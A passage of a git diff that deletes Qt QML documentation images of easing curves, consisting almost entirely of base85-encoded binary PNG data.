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 diff --git a/src/qml/doc/images/qeasingcurve-inquart.png b/src/qml/doc/images/qeasingcurve-inquart.png deleted file mode 100644 index 6d6517551ea2fe61abc5f7fb75d7fc6fea552967..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2727 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 diff --git a/src/qml/doc/images/qeasingcurve-inquint.png b/src/qml/doc/images/qeasingcurve-inquint.png deleted file mode 100644 index faaaea71fda9c697fcb17ef0564ca4c6223a8657..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2630 zcmV-M3c2-(P)L;Vl6}}2QK7V$8;fj6np;UO6@={N zO|z@XZY(eAi*n5-`=W^?+{CAgh6LG{%|4L$aDA~R-WMM*xmjGQZHlIV-H@9CG3h`5 zPc_jnsK}gsICU7Nf0*e^JFPvR2QqW!@SD@~J?Hy7r!5Ti_U&6Rk6@7Q>-%hC15C$a zb_41ig9Q)-YGI+l*qC28WCoZF5x`_<^;NOGNI4Vd&t%e)OlDQ|cs8Y)v6uy)O2=|{ z@_05G1{wAuY8edzFbv{2#PgK&6960z(cusQfaj@X(t?lkB8exLhoC_K0N^;0=Pew! z$@AI1mXGTqgIW+M00;)P-L4*>5z=4knZUC%yDRK4O}h}zn0vqJWsW?ZRUNYWNWIHwzkb=(t`H^(i<=so~Kw=l*V}O zRoK2vmqRQ_Ee?mczD~trdA3x7Kyh6DH4@KL%gb~}N5RcAnE@IowCXSN79__Zj@u{_ zlgxn9dGzQ}BofgX#54gyA!{gP{qtXbj}QL9vbem44*qlMR3eek{?fNWWilC^A@mRm zS$lhn&CqJ*O6`uvb;dDyA5dGL2gr%VV*B^+w_2?_ z+fQadiNs>D&dyGj<8;O$0+dKJ8tv-p%J96-I7EO_KnO)5k?!tp{h^2erI1J@Xqs+q zZ6y|D4)gQ#hYlU0D2iB+IbZ<{2}K0Zj64D8w;-|)&`dlYr)j#Sr3E3xzkUs5A5dYW z1Yk%sB7kP(34q(ZTW2&PfHn|9asl|)uXP3_0%$|p0T>mK2%rr`0w5MtX%ssEVnG!} 